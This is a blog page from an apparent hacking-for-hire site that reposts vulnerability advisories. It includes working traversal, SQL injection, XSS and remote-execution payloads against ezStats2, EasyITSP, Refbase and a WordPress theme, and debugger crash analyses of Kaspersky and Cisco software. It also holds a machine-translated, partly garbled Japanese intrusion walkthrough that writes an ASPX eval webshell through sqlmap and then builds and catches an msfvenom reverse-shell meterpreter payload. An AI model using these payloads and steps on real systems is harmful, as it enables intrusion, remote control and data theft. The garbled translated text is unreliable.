Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863152430

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
source: https://www.securityfocus.com/bid/57757/info

ezStats2 is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability using directory-traversal strings to view files and execute local scripts in the context of the web server process. This may aid in further attacks.

http://www.example.com/ezStats2_mohw/stylesheets/style.php?files=../../../../../../../../../../windows/win.ini%00.jpg 

http://www.example.com/ezServer/stylesheets/style.php?files=../../../../../../../../../../windows/win.ini%00.jpg 

http://www.example.com/ezStats2_psn/stylesheets/style.php?files=../../../../../../../../../../windows/win.ini%00.jpg
HireHackking

0x00はじめに

侵入プロジェクトが実施されたとき、顧客は1つのIPのみを提供しました。ルーキーとして、私は遠く離れて航海し始めました。

0x01情報収集

NMAPはポートをスキャンし、高ビットポートのスキャンに注意を払い、予期しない利益につながることがよくあります。

弱いパスワードはログインしようとします。

簡単な要約。

image.png

0x03脆弱性検出

バックグラウンドテストにログインし、両方のシステムにSQLインジェクションが存在することを発見しました。

ポート8000のクロッカスシステムにファイルをダウンロードする脆弱性も見つかりました。

image.png

ログのダウンロードであることが判明しました。クリックして、ページに絶対的なパスがあることを発見します。

image.png

わかりました！絶対パスを収集します。

image.png

現在のアイデアは次のとおりです。

SQLインジェクションと組み合わせた絶対的なパスの前提で、SQLMAPの-SQL -Shellを使用してトロイの木馬を書き込もうとします。

0x04脆弱性

この絶対的なパスを詳しく見てみましょう。それを見つめると奇跡的な効果があると聞いた。 （笑う）

image.png

どこかでWCMS4.0を見たと思います。

image.png

それは正しい。ポート12055で、バックグラウンドにログインします

バックグラウンドでSQLインジェクションを使用して、シェルを書き込むことができます。

image.png

SQLインジェクションポイントは、ほぼ検索場所にあります。

パケットをインターセプトし、post.txtとして保存します。 SQLMAPを使用して注入を開始します。

image.png

image.png

注入、DBA許可、および絶対パスがあります。シェルのワンストップの準備ができました。

0x05 webshell

トロイの木馬にaspxの書き込みを開始します。

「％@ページ言語='javascript'％eval（request.item ['pass']）;％ 'into outfile' c: //プログラムファイル（x86）//cms server //wcms4.0 //x.aspx 'image.png

問題ありません、訪問してください。

image.png

ニース！

包丁の接続。

image.png

0x06制御サーバー

最初にこのサーバーに関する情報を収集します

image.png

image.png

サーバーはイントラネットで実行され、ここではMSFホースを使用してシェルをバウンスして転送することを選択します。

外部ネットワークにメタプロイトを構築する方法について。推奨記事：

http://www.sqlsec.com/2018/03/cloud.html#more

MSF馬を生成します

MSFVENOM -P Windows/X64/MeterPreter/Reverse_tcp Lhost=xx.xx.xx.xx lport=2333 -f exe road.exxx.xx.xx.xxはパブリックネットワークサーバーです

2333はパブリックネットワークポートです

image.png

生成されたMSF馬を中国の包丁を通してブロイラーにアップロードします。

外部ネットワーク上のMetaSploitは、監視の構成を開始します

Exploit/Multi/ハンドルを使用します

ペイロードを設定します

Windows/x64/meterpreter/reverse_tcp

LHOST 127.0.0.1を設定します

走る

image.png

image.png

いくつかのメータープレターコマンドを単純に実行します

GetUID電流権限

システムを取得して権利を引き上げます

getgui -uを実行します

HireHackking 
# Exploit Title: Refbase <= 0.9.6 rss.php where parameter SQL Injection
# Google Dork: "powered by refbase"
# Date: 23 Sep 2015
# Exploit Author: Mohab Ali
# @0xAli
# Vendor Homepage: http://www.refbase.net/index.php/Web_Reference_Database
# Software Link: http://sourceforge.net/projects/refbase/
# Reference: https://www.kb.cert.org/vuls/id/374092
# Version: 0.8, 0.9, 0.9.5, 0.9.6
# Tested on: WAMP (Windows)
# CVE : CVE-2015-6009
# Solution: Vulnerability hasn't been patched yet.

**Summary **
Refbase v 0.9.6 and earlier versions have an SQL injection vulnerability because of the insufficient validation when passing user supplied input to be passed to the database.


** Vulnerable code **
################################################################################
#Line 35 : $queryWhereClause = $_REQUEST['where'];
#Line 86 : $sanitizedWhereClause = extractWHEREclause(" WHERE " . $queryWhereClause);
#Line 100: $sqlQuery .= " FROM $tableRefs WHERE " . $sanitizedWhereClause;
#Line 123: $result = queryMySQLDatabase($query);
################################################################################

** Exploit POCs **
/rss.php?where=1+and+5=(substr(@@version,1,1))-- -If it’s true then the mysql version is > 5
/rss.php?where='nonexistent'+union+all(select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,concat('version:',@@version,''),34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50)-- -
/rss.php?where='nonexistent'+union+all(select+1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41)-- -


[!] Version 0.8 and 0.9 provide no validation, but versions 0.9.5 and 0.9.6 provide some filtering so you better let sqlmap handle it.
[!] The GET parameter "where" is vulnerable to SQL injection despite being filtered by a custom function called extractWHEREclause() it’s still can be bypassed to inject other queries.
The extractWHEREclause() function which is defined in include.inc.php and it removes any additional MySQL keywords.
preg_replace("/^.*? WHERE (.+?)(?= ORDER BY| LIMIT| GROUP BY| HAVING| PROCEDURE| FOR UPDATE| LOCK IN|[ ;]+(SELECT|INSERT|UPDATE|DELETE|CREATE|ALTER|DROP|FILE)\b|$).*?$/i", "\\1", $query);
But it can be bypassed.


# Contacted vendor: 23 Dec 2014
# Public disclosure: 23 Sep 2015 		

################################################################################

# Exploit Title: Refbase <= 0.9.6 install.php defaultCharacterSet parameter SQL Injection
# Google Dork: "powered by refbase"
# Public Disclosure Date: 21 Sep 2015
# Exploit Author: Mohab Ali
# @0xAli
# Vendor Homepage: http://www.refbase.net/index.php/Web_Reference_Database
# Software Link: http://sourceforge.net/projects/refbase/
# Reference: https://www.kb.cert.org/vuls/id/374092
# Version: 0.8, 0.9, 0.9.5, 0.9.6.
# Tested on: WAMP (Windows)
# CVE : CVE-2015-6009
# Solution: Remove the install.php file after the installation

**Summary **
Refbase v 0.9.6 and earlier versions have an SQL injection vulnerability because of the insufficient validation when passing user supplied input to be passed to the database.

[!] You have to know the correct MySQL credentials.

** Vulnerable code **
################################################################################
#Line 77 :  $defaultCharacterSet = $_POST['defaultCharacterSet'];
#Line 407: $queryCreateDB = $queryCreateDB . " DEFAULT CHARACTER SET " . $defaultCharacterSet;
#Line 424: if (!($result = @ mysql_query ($queryCreateDB, $connection)))
################################################################################

** Exploit POC **

Request:
POST /install.php
formType=install&submit=Install&adminUserName=root&adminPassword=pass&pathToMYSQL=C:\mysql5.6.17\bin\mysql.exe&databaseStructureFile=./install.sql&pathToBibutils=&defaultCharacterSet=SQL QUERY HERE&submit=Install

################################################################################

# Exploit Title: Refbase <= 0.9.6 install.php pathToMYSQL parameter RCE (Windows)
# Google Dork: "powered by refbase"
# Public Disclosure Date: 21 Sep 2015
# Exploit Author: Mohab Ali
# @0xAli
# Vendor Homepage: http://www.refbase.net/index.php/Web_Reference_Database
# Software Link: http://sourceforge.net/projects/refbase/
# Reference: https://www.kb.cert.org/vuls/id/374092
# Version: 0.9.6 and earlier. 0.6.1 and prior versions are not vulnerable.
# Tested on: Windows
# CVE : CVE-2015-6008
# Solution: Remove the install.php file after the installation

**Summary **
Refbase v 0.9.6 and earlier versions have an RCE vulnerability because of the insufficient validation when passing user supplied input to be executed by the system.

[!] You have to know the correct MySQL credentials and this doesn't appear to be exploitable on Linux since (AFAIK) it can't execute scripts remote smb shares by default.


** Vulnerable code **
################################################################################
#Line 62: $pathToMYSQL = $_POST['pathToMYSQL'];
#Line 67: $databaseStructureFile = $_POST['databaseStructureFile'];
#Line 429: exec($pathToMYSQL . " -h " . $hostName . " -u " . $adminUserName . " -p" .$adminPassword . " --database=" . $databaseName . " < " . $databaseStructureFile . " 2>&1", $resultArray);
################################################################################

[*] pathToMYSQL and databaseStructureFile can't be empty, and has to be real file. And they can't contain ';' or '|'
[*] To exploit this in Windows you can provide an executable on a remote share and execute it.

** Exploit POC **

Request:
formType=install&submit=Install&adminUserName=root&adminPassword=123&pathToMYSQL=%5C%5CSERVER_IP%5CShare%5Cexec.bat&databaseStructureFile=.%2Finstall.sql&pathToBibutils=&defaultCharacterSet=latin1&submit=Install

Executed command:
\\SERVER_IP\Share\exec.bat -h localhost -u root -p123 --database=literature < ./install.sql 2>&1
HireHackking 
source: https://www.securityfocus.com/bid/57741/info

EasyITSP is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input. 

Remote attackers can use specially crafted requests with directory-traversal sequences ('../') to access arbitrary files in the context of the application. This may aid in further attacks. 

EasyITSP 2.0.7 and prior versions are vulnerable.


http://www.example.com/WEB/customer/voicemail.php?currentpage=phones&folder=../../
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=460

Cisco AnyConnect Secure Mobility Client v3.1.08009 Elevation of Privilege
Platform: Windows 8.1 Update, Client version 3.1.08009 (tested on 32 bit only)
Class: Elevation of Privilege

Summary:
The fix for CVE-2015-4211 is insufficient which allows a local application to elevate to local system through the CMainThread::launchDownloader command. 

Description:

This is directly related to http://tools.cisco.com/security/center/viewAlert.x?alertId=39466. The fix for this issue seemed to be modifying the file verification process to only allow a signed file which also has in its version information the original filename of vpndownloader.exe. This, along with the name change makes it clear you only want to execute the VPN Downloader application. However the code doesn’t limit the location of the executable file, so one exploitation vector is DLL planting. The downloader loads a lot of DLLs from the executable directory first, so by copying the vpndownloader.exe file from Program Files to a temporary directory and dropping an appropriately named DLL you can get code execution as SYSTEM. One such DLL is dbghelp.dll which is loaded explicitly by the downloader using LoadLibrary, but there are many more.

Even if by luck the executable wasn’t vulnerable to DLL planting there’s many other potential issues, for example even though a lock is made on the executable file during signature verification it’s possible to use symbolic links to exploit this as a race condition and switch the executable file after verification has completed. There’s many other possibilities as well. I’d recommend that if you’re really only supposed to be executing vpndownloader you only execute it from the secure program files directory which would eliminate this issue. 

This was based on work previous done by Kostya Kortchinsky. 

Proof of Concept:

The PoC demonstrates the vulnerability and should create a copy of CMD.EXE running at SYSTEM on the current user’s desktop. I’ve provided source for the exploit.exe written in C# 4 and the dbghelp.dll in C++, as well as binaries. It should run on 32 and 64 bit platforms but I’ve only tested it on 32 bit.  

1) Copy the exploit.exe and dbghelp.dll  to a location on a local hard disk which the current user can write to.
2) Execute exploit.exe as the normal user
3) A command prompt should appear running at SYSTEM

Expected Result:
The service rejects the executable request

Observed Result:
The service executes the file from the temporary directory and allows for elevation.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38289.zip
HireHackking 
source: https://www.securityfocus.com/bid/57676/info

The flashnews Theme for WordPress is prone to multiple input-validation vulnerabilities. 

An attacker may leverage these issues to cause denial-of-service conditions, disclose sensitive information, upload arbitrary files to the affected computer, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/wp-content/themes/flashnews/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg [XSS] 

http://www.example.com/wp-content/themes/flashnews/thumb.php?src=http://site/big_file&h=1&w=1 

http://www.example.com/wp-content/themes/flashnews/thumb.php?src=http://site.badsite.com/big_file&h=1&w=1 

http://www.example.com/wp-content/themes/flashnews/thumb.php?src=http://site.badsite.com/shell.php 

http://www.example.com/wp-content/themes/flashnews/includes/test.php 

http://www.example.com/wp-content/themes/flashnews/includes/test.php?a[]=%3Cscript%3Ealert(document.cookie)%3C/script%3E [XSS]
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=528

The attached testcase was found by fuzzing packed PE files, I suspect it was packed using "Yoda's protector". This vulnerability is obviously exploitable for remote code execution as NT AUTHORITY\SYSTEM on all systems using Kaspersky Antivirus.

(bb8.ff0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=b5118b71 ebx=0000f8f0 ecx=0515f124 edx=b5118b71 esi=0bfe0e38 edi=0bfe005c
eip=71db9229 esp=0515f0f0 ebp=0515f0f4 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
kavbase_kdl!KLAV_Engine_Create+0x78227:
71db9229 8b4230          mov     eax,dword ptr [edx+30h] ds:002b:b5118ba1=????????

What does it do with that value once it's loaded?

0:029> u
kavbase_kdl!KLAV_Engine_Create+0x78227:
71db9229 8b4230          mov     eax,dword ptr [edx+30h] <-- dereference bad pointer
71db922c 57              push    edi
71db922d 8b38            mov     edi,dword ptr [eax] <-- dereference again
71db922f 51              push    ecx
71db9230 8b0a            mov     ecx,dword ptr [edx]
71db9232 8b5730          mov     edx,dword ptr [edi+30h] <-- dererence again
71db9235 56              push    esi
71db9236 51              push    ecx
0:029> u
kavbase_kdl!KLAV_Engine_Create+0x78235:
71db9237 50              push    eax
71db9238 ffd2            call    edx     <-- attacker gets control of execution and parameters
71db923a 83c410          add     esp,10h
71db923d 5f              pop     edi
71db923e 5e              pop     esi
71db923f 5d              pop     ebp
71db9240 c3              ret

Where does that pointer come from?

3C 03 6C 9E 8C 7D A5 C5 F9 22 6E F9 71 8B 11 B5        <--- *
B0 4D 5B 5C A8 19 09 FE 36 1A B6 92 3A 92 96 78
95 BD 55 64 76 C5 87 7C 00 C4 C7 36 6E 24 87 9F
5F 12 AB 96 75 ED 11 CC D1 B1 0C 4C B8 88 9A 5D
07 A5 C0 C7 5E 19 04 44 FC 4C 0F 69 20 2E 70 7A

Directly from the input file, so this is obviously exploitable for remote code execution as NT AUTHORITY\SYSTEM.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38288.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=518

A remotely exploitable stack buffer overflow in ThinApp container parsing. Kaspersky Antivirus (I've tested version 15 and 16) and other products using the Kaspersky Engine (such as ZoneAlarm) are affected.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38287.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=527

While fuzzing UPX packed files, this crash was discovered resulting in an arbitrary stack-relative write. This vulnerability is obviously remotely exploitable for remote code execution as NT AUTHORITY\SYSTEM.

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000001 ecx=f93900c7 edx=00000020 esi=00000001 edi=057b9d60
eip=15ea22da esp=0497eb2c ebp=0497ec80 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
15ea22da 01840dbcfeffff  add     dword ptr [ebp+ecx-144h],eax ss:002b:fdd0ec03=????????

This decoding loop is trying to modify a value in a stack buffer with an attacker controlled index.

The index and Those values are taken verbatim from the input:

50 BC C7 00 39 F9 0F B6 47 FB F7 D8 01 04 24 39
C7 83 EF F1 8D 7F F2 80 7F FB 0A 89 E4 8B C9 8D
00 58 FC 90 8D 3F 77 D2 8D 36 8D 00 B8 54 C8 B4
F6 31 44 24 FC 8B 44 24 04 31 44 24 FC 75 A3 90
90 FC 90 FC 89 DB 9B FC 9B FC 83 E9 ED 83 C4 08

And the value being added is from here:

00 00 00 00 82 51 33 4D 00 00 A3 02 02 00 03 00
D8 01 00 80 38 00 00 80 EE 01 00 80 78 00 00 80
03 00 00 00 B8 00 00 80 0E 00 00 00 58 01 00 80
10 00 00 00 98 01 00 80 00 00 00 00 00 00 00 00

The bug is that the index is not verified, resulting in an arbitrary write. This is obviously exploitable for arbitrary code execution.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38286.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=524

Fuzzing CHM files with Kaspersky Antivirus produced the attached crash.

(83c.fec): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0bd3e470 ebx=00000ef1 ecx=00000000 edx=0b002fb0 esi=00000018 edi=0bd3e473
eip=15edb522 esp=0bd3e234 ebp=0bd3e240 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
15edb522 8a12            mov     dl,byte ptr [edx]          ds:002b:0b002fb0=??

Where does edx come from?

0:085> uf 15edb4f0
15edb4f0 55              push    ebp
...
15edb520 8b10            mov     edx,dword ptr [eax]
15edb522 8a12            mov     dl,byte ptr [edx]
15edb524 8817            mov     byte ptr [edi],dl
15edb526 ff00            inc     dword ptr [eax]
15edb528 47              inc     edi
15edb529 83c6ff          add     esi,0FFFFFFFFh
15edb52c 83d1ff          adc     ecx,0FFFFFFFFh
15edb52f 8bd6            mov     edx,esi
15edb531 0bd1            or      edx,ecx
15edb533 75eb            jne     15edb520

...

Edx is a parameter, and this is a simple memcpy loop.

for (i = ArgSize; i > 0; i--) {
    *argDestPtr++ = *argSrcPtr++;
}

But why is the input pointer corrupt, that should be a pointer to the input buffer (i.e. the CHM being scanned)?

0:018> kvn1
 # ChildEBP RetAddr  Args to Child              
00 03f4e1c0 15edb73b 0000022f 00000000 0afda8d4 0x15edb522
0:018> ub 15edb73b 
15edb725 3bc1            cmp     eax,ecx
15edb727 774f            ja      15edb778
15edb729 52              push    edx
15edb72a 50              push    eax
15edb72b 8d95e8fdffff    lea     edx,[ebp-218h]    <-- destination buffer
15edb731 8bcb            mov     ecx,ebx
15edb733 8d45fc          lea     eax,[ebp-4]
15edb736 e8b5fdffff      call    15edb4f0


Ah, the destination is a fixed size stack buffer (I'm guessing 512 bytes), so if the size read from the input is greater than 512 (in this case it's 0x22f), the stack will be corrupted.

The input pointer is corrupt because the loop overwrites the src pointer with attacker controlled input and then it crashes trying to read from it. That can obviously be fixed by an attacker, so this is an exploitable stack buffer overflow.

It seems likely /GS would have made this unexploitable.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38285.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=519

Fuzzing the DEX file format found a crash that loads a function pointer from an attacker controlled pointer, on Windows this results in a call to an unmapped address. This is obviously exploitable for remote, zero-interaction code execution as NT AUTHORITY\SYSTEM on any system with Kaspersky Antivirus. I've tested Windows, Linux, Mac and a product using the Kaspersky SDK (ZoneAlarm Pro), all were exploitable.

(5dc.990): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=9c000000 ebx=00000000 ecx=053ef3ec edx=00020009 esi=04130d40 edi=800000d8
eip=9c000000 esp=053eec14 ebp=053eec74 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
9c000000 ??              ???
0:026> kv
ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
053eec10 1740927e 04137af0 04137ac8 04130d40 0x9c000000
053eecb8 70118a64 04130d40 00000002 04130d40 0x1740927e
053eecd0 70116a1c 04130d40 0000234c 00000001 kavbase_kdl!KLAV_Engine_Create+0x17a62
053eed80 70113829 04130d40 0500234c 00000000 kavbase_kdl!KLAV_Engine_Create+0x15a1a
053eedc0 70117156 04130d40 107407b4 00000001 kavbase_kdl!KLAV_Engine_Create+0x12827
053eee6c 70113926 04130d40 20000001 00000000 kavbase_kdl!KLAV_Engine_Create+0x16154
053eee94 701167f2 04130d40 000001e3 053eeed4 kavbase_kdl!KLAV_Engine_Create+0x12924
053eeea4 70112c28 04130d40 00000067 0e5100a2 kavbase_kdl!KLAV_Engine_Create+0x157f0
053eeed4 70112cef 053eeee0 04130d40 16d30ae0 kavbase_kdl!KLAV_Engine_Create+0x11c26
0:026> .frame /c 1
01 053eecb8 70118a64 0x1740927e
eax=9c000000 ebx=00000000 ecx=053ef3ec edx=00020009 esi=04130d40 edi=800000d8
eip=1740927e esp=053eec18 ebp=053eec74 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
1740927e 83c404          add     esp,4
0:026> ub
17409269 8b45fc          mov     eax,dword ptr [ebp-4]
1740926c 85c0            test    eax,eax
1740926e 7411            je      17409281
17409270 c745fc00000000  mov     dword ptr [ebp-4],0
17409277 8b10            mov     edx,dword ptr [eax]
17409279 50              push    eax
1740927a 8b02            mov     eax,dword ptr [edx] <-- corrupt attacker controlled pointer
1740927c ffd0            call    eax                 <-- attacker gains control of execution


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38284.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=526

Fuzzing of packed executables found the attached crash.

0:022> g
(83c.bbc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000005 ebx=04320481 ecx=7ffffffd edx=f50139ce esi=80000027 edi=0432005c
eip=15de0bd2 esp=0bb4ee04 ebp=0bb4ee20 iopl=0         ov up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010a06
15de0bd2 8a843700040000  mov     al,byte ptr [edi+esi+400h] ds:002b:84320483=??

If I step through that address calculation:

0:022> p
eax=00000005 ebx=04320481 ecx=7ffffffd edx=f50139ce esi=80000022 edi=0432005c
eip=15de0d3a esp=0bb4ee04 ebp=0bb4ee20 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
15de0d3a 03f0            add     esi,eax
0:022> p
eax=00000005 ebx=04320481 ecx=7ffffffd edx=f50139ce esi=80000027 edi=0432005c
eip=15de0d3c esp=0bb4ee04 ebp=0bb4ee20 iopl=0         nv up ei ng nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
15de0d3c 3b75f0          cmp     esi,dword ptr [ebp-10h] ss:002b:0bb4ee10=000003f1
0:022> p
eax=00000005 ebx=04320481 ecx=7ffffffd edx=f50139ce esi=80000027 edi=0432005c
eip=15de0d3f esp=0bb4ee04 ebp=0bb4ee20 iopl=0         ov up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000a06
15de0d3f 0f8c8dfeffff    jl      15de0bd2                                [br=1]
0:022> p
eax=00000005 ebx=04320481 ecx=7ffffffd edx=f50139ce esi=80000027 edi=0432005c
eip=15de0bd2 esp=0bb4ee04 ebp=0bb4ee20 iopl=0         ov up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000a06
15de0bd2 8a843700040000  mov     al,byte ptr [edi+esi+400h] ds:002b:84320483=??

This looks like an integer overflow:

int base;
int index;

if (base + index > argMaxSize)
 goto error;

Because it's a signed comparison, 7ffffffd + 5 is

0:022> ? ecx + eax
Evaluate expression: -2147483646

Which is less than 0x3f1, the size parameter. Those values are directly from the executable being scanned.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38283.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=525

Fuzzing packed executables found the attached crash, it might be usable as an information leak as part of another bug, so filing as a low-risk bug. If I had to guess, I would say this is the ExeCryptor unpacker.

(83c.fc0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0b61f00c ebx=00030ff4 ecx=00000000 edx=00000000 esi=0409005c edi=00000000
eip=15cc7e73 esp=0441ecf8 ebp=0441ef18 iopl=0         nv up ei pl nz ac pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010217
15cc7e73 803c03e9        cmp     byte ptr [ebx+eax],0E9h    ds:002b:0b650000=??

What is that code doing?

0:021> u
15cc7e73 803c03e9        cmp     byte ptr [ebx+eax],0E9h
15cc7e77 0f8596000000    jne     15cc7f13
15cc7e7d 8b540301        mov     edx,dword ptr [ebx+eax+1]
15cc7e81 8d441a05        lea     eax,[edx+ebx+5]
15cc7e85 33c9            xor     ecx,ecx
15cc7e87 3d00100000      cmp     eax,1000h
15cc7e8c 0f9cc1          setl    cl
15cc7e8f 33d2            xor     edx,edx

That edx+ebx+5 gives it away, it's searching for a jmp opcode and trying to pull out the branch target.

Why did it get lost? I'll put a breakpoint there and see where it goes wrong:

0:021> bp @eip
0:021> .restart
Breakpoint 0 hit
eax=0584f00c ebx=00000000 ecx=0497eb4c edx=00000000 esi=05a1005c edi=00000000
eip=15cc7e73 esp=0497ebc4 ebp=0497ede4 iopl=0         nv up ei ng nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000282
15cc7e73 803c03e9        cmp     byte ptr [ebx+eax],0E9h    ds:002b:0584f00c=00

That looks fine, eax is the start of the buffer to search, and ebx is the index to look for a jmp opcode.

0:024> t
eax=0584f00c ebx=00000000 ecx=0497eb4c edx=00000000 esi=05a1005c edi=00000000
eip=15cc7e77 esp=0497ebc4 ebp=0497ede4 iopl=0         nv up ei pl nz ac pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000217
15cc7e77 0f8596000000    jne     15cc7f13                                [br=1]
0:024> t
eax=0584f00c ebx=00000000 ecx=0497eb4c edx=00000000 esi=05a1005c edi=00000000
eip=15cc7f13 esp=0497ebc4 ebp=0497ede4 iopl=0         nv up ei pl nz ac pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000217
15cc7f13 43              inc     ebx
0:024> t
eax=0584f00c ebx=00000001 ecx=0497eb4c edx=00000000 esi=05a1005c edi=00000000
eip=15cc7f14 esp=0497ebc4 ebp=0497ede4 iopl=0         nv up ei pl nz na po cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000203
15cc7f14 8d47fb          lea     eax,[edi-5]
0:024> t
eax=fffffffb ebx=00000001 ecx=0497eb4c edx=00000000 esi=05a1005c edi=00000000
eip=15cc7f17 esp=0497ebc4 ebp=0497ede4 iopl=0         nv up ei pl nz na po cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000203
15cc7f17 3bd8            cmp     ebx,eax


Ah, that's the bug, it's wrapping past zero and never exiting. The code is probably doing:

do {
 if (ptr[index] != JMP_OPCODE)
   index -= SIZEOF_JMP;
} while (index != 0);


That's a bug, because if index < SIZEOF_JMP, it will wrap and never exit. I would think it should decrement by 1 not sizeof(jmp) anyway, because jmps do not have to be aligned, but  I don't know anything about ExeCryptor - maybe it makes sense.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38282.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=522

Fuzzing VB6 executables produced the attached crash testcase:

(5a8.dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffffff ebx=0a07e8ec ecx=0a07eb04 edx=00000000 esi=0907e924 edi=00000010
eip=13d64b78 esp=0ea6ee30 ebp=0ea6ee38 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
13d64b78 0fb60e          movzx   ecx,byte ptr [esi]         ds:002b:0907e924=??

# where does esi come from?
0:121> ub @eip La
13d64b60 55              push    ebp
13d64b61 8bec            mov     ebp,esp
13d64b63 8b4514          mov     eax,dword ptr [ebp+14h]
13d64b66 57              push    edi
13d64b67 8b7d0c          mov     edi,dword ptr [ebp+0Ch]
13d64b6a f7d0            not     eax
13d64b6c 85ff            test    edi,edi
13d64b6e 0f849e000000    je      13d64c12
13d64b74 56              push    esi
13d64b75 8b7510          mov     esi,dword ptr [ebp+10h]

# Okay, it's a parameter
0:121> kvn1
 # ChildEBP RetAddr  Args to Child              
00 0ea6ee38 14424d8f 1656cae4 00000010 0907e924 0x13d64b78
0:121> ub 14424d8f La
14424d77 8b4304          mov     eax,dword ptr [ebx+4]    <-- load index
14424d7a 03c3            add     eax,ebx                  <-- add to pointer
14424d7c 8d4c3bf0        lea     ecx,[ebx+edi-10h]        <-- probably load bounds of buffer
14424d80 3bc1            cmp     eax,ecx                  <-- check if index is in bounds
14424d82 771f            ja      14424da3                 <-- too late, overflow has already happened
14424d84 6a00            push    0
14424d86 50              push    eax < +0x10
14424d87 6a10            push    10h
14424d89 56              push    esi
14424d8a e8d1fd93ff      call    13d64b60

Looks like the code is doing

ptr += offset;
if (ptr > ptr+SizeOfBuffer)
 goto error;

This is obviously incorrect, because the offset can wrap. Where does that value come from?

0:121> dd ebx
0a07e8ec  00000228 ff000038 000000d0 000000f8
0a07e8fc  0000014f 00000120 00000158 000001bc
0a07e90c  00000048 00000000 00000204 00000211
0a07e91c  38000208 00000000 02a69b00 101b081b
0a07e92c  00083389 5a4f2f2b 02a69b02 101b081b
0a07e93c  00083389 5a4f2f2b 09194000 11cfdf6e
0a07e94c  a000748e f8260fc9 bac300ac 4551fc30
0a07e95c  204f1db8 383f2a55 77696e7e 4df2a25e

That is from the input file:

*0001e10: 2802 0000 3800 00ff d000 0000 f800 0000  (...8...........
 0001e20: 4f01 0000 2001 0000 5801 0000 bc01 0000  O... ...X.......
 0001e30: 4800 0000 0000 0000 0402 0000 1102 0000  H...............
 0001e40: 0802 0038 0000 0000 009b a602 1b08 1b10  ...8............
 0001e50: 8933 0800 2b2f 4f5a 029b a602 1b08 1b10  .3..+/OZ........
 0001e60: 8933 0800 2b2f 4f5a 0040 1909 6edf cf11  .3..+/OZ.@..n...

